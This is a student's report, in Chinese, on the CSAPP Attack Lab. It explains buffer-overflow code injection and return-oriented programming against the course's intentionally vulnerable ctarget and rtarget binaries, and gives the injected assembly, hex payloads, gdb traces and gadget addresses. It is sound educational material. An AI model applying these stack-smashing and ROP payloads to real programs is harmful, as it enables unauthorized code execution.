

Lab3 - Attack Lab Report

陈睿 10245101560

前置知识

本实验聚焦于一个关键函数 `getbuf()`：

```
unsigned getbuf()
{
    char buf[BUFFER_SIZE];
    Gets(buf);
    return 1;
}
```

我们给 `buf` 数组分配了 `BUFFER_SIZE` 大小的空间，然后调用了 `Gets()` 函数来读取一行。这里的 `Gets()` 和标准C库中的 `gets()` 一样，都不会检查我们的输入是否超过了我们设定的大小，这也就是我们实验的目的所在：借助这一缓冲区溢出的特性实现攻击。

所以 `gets()` 并不是一个安全的做法，我们应该在编程时尽可能使用 `'fgets()'`。

当我们输入：

```
./ctarget -q
```

对于 `ctarget` 的用法：

```
Usage: [-hq] ./ctarget -i <infile>
-h          Print help information
-q          Don't submit result to server
-i <infile> Input file
```

显然我们不需要提交到服务器，所以用 `-q` 参数。返回如下：

```
Cookie: 0x59b997fa
Ouch!: You caused a segmentation fault!
Better luck next time
FAIL: Would have posted the following:
    user id bovik
    course 15213-f15
    lab    attacklab
    result 1:FAIL:0xffffffff:ctarget:0:
```

这个时候就发生了溢出。

对于实验提供的工具 `HEX2RAW`，可以方便地帮助我们生成攻击字符串。

代码注入攻击

Level 1

`getbuf()` 被一个 `test()` 函数所调用：

```
void test()
{
    int val;
    val = getbuf();
    printf("No exploit. Getbuf returned 0x%x\n", val);
}
```

我们希望我们执行 `touch1()` 函数：

```
void touch1()
{
    vlevel = 1; /* Part of validation protocol */
    printf("Touch1!: You called touch1()\n");
    validate(1);
    exit(0);
}
```

当输出了 `Touch1!: You called touch1()`，我们确实就攻击成功了。

我们的思路就是，首先反汇编 `ctarget`，找出 `touch1()` 的入口地址，然后尝试让 `test()` 的控制流切换给 `touch1()`，可以借助 `gdb` 工具。

Level 2

在第二关中，我们需要执行地址为 `0x4017ec` 的 `touch2()`：

```
void touch2(unsigned val) {
    vlevel = 2; /* Part of validation protocol */
    if (val == cookie) {
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}
```

我们需要把我们的 `cookie` 作为第一个参数传入函数。回想起第三章的知识，`%rdi` 寄存器就存放了函数的第一个参数。

我们知道，`ret` 指令相当于 `pop %rip`，因此我们可以自己编写一段代码，实现将 `cookie` 放入寄存器 `%rdi` 中，然后把 `touch2()` 的地址压入栈底，最后 `return`，进入 `touch2()`。可是，我们要如何做到能够执行我们自己编写的汇编代码呢？

我们只能运用40个字节之后溢出的8个字节来返回到这一地址。倘若溢出的8个字节正好指向的是我们 `BUFFER_SIZE` 的40个字节的首位，即栈顶，我们就能通过将前40个字节注入我们自己编写的汇编代码，从而实现跳转到我们自己的指令，最终跳转到 `touch2()` 函数，同时又带上了 `cookie` 信息。

我们的 `cookie: 0x59b997fa` `touch2(): 0x4017ec`，因此有汇编代码放入 `p2.s`：

```
movq $0x59b997fa, %rdi
pushq $0x4017ec
ret
```

利用附录B的字节表示生成工具：

```
gcc -c p2.s
objdump -d p2.o > p2.d
```

得到字节表示：

```
p2.o:      file format elf64-x86-64
```

Disassembly of section .text:

```
0000000000000000 <.text>:
 0:  48 c7 c7 fa 97 b9 59      mov     $0x59b997fa,%rdi
 7:  68 ec 17 40 00           push   $0x4017ec
c:  c3                      ret
```

我们就得到了字节序列：

```
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3
```

这个序列就可以放在我们注入攻击的字符串的前40个字节。我们现在需要找到 `getbuf()` 栈顶的位置，这样的话，当我们在缓冲区最后8位注入了此时栈顶的位置，我们就可以跳转到此时的栈顶，开始执行我们注入的指令。

用 `gdb` 查找栈顶的地址。

```

(gdb) b getbuf
Breakpoint 1 at 0x4017a8: file buf.c, line 12.
(gdb) r -qi p1
Starting program: /mnt/c/Users/eagle/Documents/Repos/Eagle233-In-Class-Practices/CSAPP/Lab3 - a
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Cookie: 0x59b997fa

Breakpoint 1, getbuf () at buf.c:12
12      buf.c: No such file or directory.
(gdb) s
14      in buf.c
(gdb) disas
Dump of assembler code for function getbuf:
    0x00000000004017a8 <+0>:      sub    $0x28,%rsp
=> 0x00000000004017ac <+4>:      mov    %rsp,%rdi
    0x00000000004017af <+7>:      call   0x401a40 <Gets>
    0x00000000004017b4 <+12>:     mov    $0x1,%eax
    0x00000000004017b9 <+17>:     add    $0x28,%rsp
    0x00000000004017bd <+21>:     ret
End of assembler dump.

(gdb) p/x $rsp
$1 = 0x5561dc78

```

因此栈顶的地址为 0x5561dc78 。于是我们可以写出序列到 p2.txt :

```

48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00

```

然后运行:

```

./hex2raw < p2.txt > p2
./ctarget -qi p2

```

运行成功了!

[illegible]

Level 3

touch3() 和 hexmatch() 代码如下

```
void touch3(char *sval)
{
    vlevel = 3; /* Part of validation protocol */
    if (hexmatch(cookie, sval)) {
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}
```

```
/* Compare string to hex representation of unsigned value */
int hexmatch(unsigned val, char *sval)
{
    char cbuf[110];

    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}
```

这一个 `hexmatch()` 使得我们注入不再可预测了，因为假如还是和上一题那样注入，由于我们的 `s` 在随机向上延伸，那么就有可能写爆 `getbuf()` 栈帧里面的内容，我们无法使用上一题在 `getbuf()` 的栈帧注入的方法。因此我们可以想到在 `test()` 的栈帧保存我们的字符串。

这次我们传入的是一个字符串，然后将这个字符串与 `cookie` 进行对比。因此我们要把 `cookie` 压入 `%rdi`，然后调用地址为 `0x4018fa` 的 `touch3()`。但注意此时 `cookie` 是字符串，我们需要转换为 ASCII 码 `35 39 62 39 39 37 66 61`。所以我们这个时候压入的应该是这个字符串的首地址，我们需要把这个字符串保存在 `test()` 的栈帧，因此运用 `gdb` 找下栈帧位置：

```

(gdb) b test
Breakpoint 1 at 0x401968: file visible.c, line 90.
(gdb) r -qi p2
Starting program: /mnt/c/Users/eagle/Documents/Repos/Eagle233-In-Class-Practices/CSAPP/Lab3 - a
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Cookie: 0x59b997fa

Breakpoint 1, test () at visible.c:90
90      visible.c: No such file or directory.
(gdb) s
92      in visible.c
(gdb) disas
Dump of assembler code for function test:
    0x0000000000401968 <+0>:      sub    $0x8,%rsp
=> 0x000000000040196c <+4>:      mov    $0x0,%eax
    0x0000000000401971 <+9>:      call   0x4017a8 <getbuf>
    0x0000000000401976 <+14>:     mov    %eax,%edx
    0x0000000000401978 <+16>:     mov    $0x403188,%esi
    0x000000000040197d <+21>:     mov    $0x1,%edi
    0x0000000000401982 <+26>:     mov    $0x0,%eax
    0x0000000000401987 <+31>:     call   0x400df0 <__printf_chk@plt>
    0x000000000040198c <+36>:     add    $0x8,%rsp
    0x0000000000401990 <+40>:     ret
End of assembler dump.
(gdb) p/x $rsp
$1 = 0x5561dca8

```

因此栈帧在 `0x5561dca8`。将其作为字符串首地址，编写 `p3.s`：

```

movq $0x5561dca8, %rdi
pushq $0x4018fa
ret

```

利用附录B的字节表示生成工具：

```

gcc -c p3.s
objdump -d p3.o > p3.d

```

得到字节表示：


```
p3.o:      file format elf64-x86-64
```

Disassembly of section .text:

```
0000000000000000 <.text>:
  0:  48 c7 c7 a8 dc 61 55      mov    $0x5561dca8,%rdi
  7:  68 fa 18 40 00           push   $0x4018fa
 c:  c3                      ret
```

我们就得到了字节序列：

```
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3
```

还是放到缓冲区的前40个字节。接着找到 `getbuf()` 栈顶的地址为 `0x5561dc78`，作为40个字节之后的内容。

```
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
```

可是我们字符串首地址 `0x5561dca8` 距离 `getbuf()` 的栈帧有多远？这决定了我们应该在注入字符串的何处放置我们的字符串。经过计算， $0x5561dca8 - 0x5561dc78 = 0x30$ ，正好是48个字节，也就是说，从49-56个字节处，我们就可以放置我们的字符串，这样我们编写的汇编代码就能顺利跳转到字符串的首地址。于是我们可以写出序列到 `p3.txt`：

```
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
```

然后运行：

```
./hex2raw < p3.txt > p3
./ctarget -qi p3
```

运行成功了！

[illegible]

返回导向编程攻击

这一部分主要实现了两种防止攻击的手段：

- 栈地址随机化
- 限制的可执行代码区域

这导致我们的攻击变得困难起来了，但是文档提供了**ROP**的攻击手段。

Level 2

我们有几个最基本的代码：

```
ret : 0xc3
nop : 0x90
```

我们要找到能将 `cookie` 作为第一个参数传入 `touch2()` 的 **Gadgets**。先查看 `rtarget` 的汇编代码：

```
objdump -d rtarget > rtarget.s
```

我们可以先把 `cookie` 存到某一个寄存器里面，然后再将这个寄存器存到 `%rdi` 里面。我们可以写出如下汇编代码：

```
popq %rax
ret

movq %rax, %rdi
ret
```

为什么选用的是 `%rax`？因为我们可以找到：

```
00000000004019a0 <addval_273>:
    4019a0:      8d 87 48 89 c7 c3      lea    -0x3c3876b8(%rdi),%eax
    4019a6:      c3                      ret
```

其中 48 89 c7 c3 通过查表3A可知，就是 `movq %rax, %rdi / ret` 的意思，地址是 `0x4019a0 + 0x2 = 0x4019a2`。因此我们可以找找 `popq %rax / ret` 对应的字节级表示。发现：

```
00000000004019ca <getval_280>:
    4019ca:    b8 29 58 90 c3      mov     $0xc3905829,%eax
    4019cf:    c3                  ret
```

这里的 90 是 no op 的意思，所以也可以构成我们需要的指令，地址为 $0x4019ca + 0x2 = 0x4019cc$ 。

找到 touch2() 的地址为 0x4017ec，因此我们转换为字节级表示写入 p4.txt：

00	00	00	00	00	00	00	00
00	00	00	00	00	00	00	00
00	00	00	00	00	00	00	00
00	00	00	00	00	00	00	00
00	00	00	00	00	00	00	00
cc	19	40	00	00	00	00	00
fa	97	b9	59	00	00	00	00
a2	19	40	00	00	00	00	00
ec	17	40	00	00	00	00	00

然后运行：

```
./hex2raw < p4.txt > p4
./rtarget -qi p4
```

运行成功了！

```
eagle233@Eagle233-X16: /mnt/c/Users/eagle/Documents/Nepos/Eagle233-In-Class-Practices/CSAPP/Lab3 - attack lab/lab3/target $ ./hex2raw < p4.txt > p4
./rtarget -q1 p4
Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
    user id bovik
    course 15213-f15
    lab attacklab
    result 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 CC 19 40 00 00 00 00
FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 EC 17 40 00 00 00 00 00
eagle233@Eagle233-X16: /mnt/c/Users/eagle/Documents/Nepos/Eagle233-In-Class-Practices/CSAPP/Lab3 - attack lab/lab3/target $
```

Level 3

考慮到 Writeup.pdf 中的：

You have also gotten 95/100 points for the lab. That's a good score. If you have other pressing obligations, consider stopping right now.

之后再对这一关深入研究。